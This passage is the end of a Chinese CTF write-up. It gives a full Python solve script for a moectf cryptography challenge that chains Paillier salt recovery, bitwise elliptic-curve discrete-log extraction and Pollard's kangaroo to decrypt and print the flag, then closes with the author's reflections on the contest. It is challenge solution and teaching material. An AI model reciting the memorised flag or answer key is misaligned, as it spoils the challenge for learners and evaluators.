$$ h' = h · 4^(-2^72) mod p1 = 4^r mod p1 $$

现在要求 r = dlog₄(h'),且 r < 2^50。这是小区间离散对数,用 Pollard 的 λ(kangaroo)算法,约 2·√(2^50) = 2^26 次群运算,内存 O(1)。

EXP

1
2
stream = shake_256(x.to_bytes(16,'big') + salt_bytes).digest(len(ct))
flag = ct ^ stream

其实不需要sage环境,做了后才发现,看文件名字以为要。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
import math, random
from hashlib import shake_256

# 数据略(p1, ct, n, c, G, Q)

c2 = c % (n*n)
m_even = ((1 - c2) % (n*n)) // n
m_odd  = ((c2 + 1) % (n*n)) // n
salt = m_even if m_even < (1<<128) else m_odd
salt_bytes = salt.to_bytes(16, 'big')

p3 = 2**521 - 1; A_CURVE = 1
def pinv(x): return pow(x, p3-2, p3)
def padd(P, Q):
    if P is None: return Q
    if Q is None: return P
    x1,y1 = P; x2,y2 = Q
    if x1 == x2:
        if (y1+y2)%p3 == 0: return None
        lam = (3*x1*x1+A_CURVE) * pinv(2*y1) % p3
    else:
        lam = (y2-y1) * pinv((x2-x1)%p3) % p3
    x3 = (lam*lam - x1 - x2) % p3
    y3 = (lam*(x1-x3) - y1) % p3
    return (x3, y3)
def pmul(k, P):
    R = None
    while k:
        if k & 1: R = padd(R, P)
        P = padd(P, P); k >>= 1
    return R

H = pmul(1<<520, G)
d = 0; R = Q; Gi = G
for i in range(521):
    if pmul(1 << (520-i), R) == H:
        d |= 1 << i
        R = padd(R, (Gi[0], (-Gi[1]) % p3))
    Gi = padd(Gi, Gi)
h = d      # h = 4^x mod p1

g = 4; LOWER = 2**72; WIDTH = 2**50
hp = h * pow(g, -LOWER, p1) % p1

def kangaroo(g, h, p, lo, hi):
    N = hi - lo
    m = int(math.isqrt(N)) + 1
    jumps = [random.randrange(1, m) for _ in range(64)]
    gjumps = [pow(g, j, p) for j in jumps]
    xT = hi; zT = pow(g, hi, p)
    for _ in range(m):
        i = zT % 64
        zT = zT * gjumps[i] % p; xT += jumps[i]
    xW = 0; zW = h
    while xW < xT - lo:
        if zW == zT: return xT - xW
        i = zW % 64
        zW = zW * gjumps[i] % p; xW += jumps[i]
    return None

r = kangaroo(g, hp, p1, 0, WIDTH)
x = LOWER + r

stream = shake_256(x.to_bytes(16,'big') + salt_bytes).digest(len(ct))
flag = bytes(a ^ b for a, b in zip(ct, stream))
print(flag)  # moectf{K4ng4r00_Curv3_B1n0m14l_Ch41n}

总结

现在的话,整体西电CTF题做下来的感觉体验蛮好的,不再只是单纯的单方向闭门造车了,更多的是共同协作了,虽说是单人赛,但我还是更清楚地感受到多方向融合了,单从密码学方向就意识到,不再是单一的密文密本分析,而是会结合在pwn/web中的知识去进行密码攻击以及会出一些结合web端或者纯二进制程序的甚至两者融合的靶机进行考察了,越来越贴合实战,但说实话还是有段距离的,毕竟AI冲击太大了,CTF毕竟是CTF。

相信以后会越来越好吧。💪

最后更新于 2026-09-08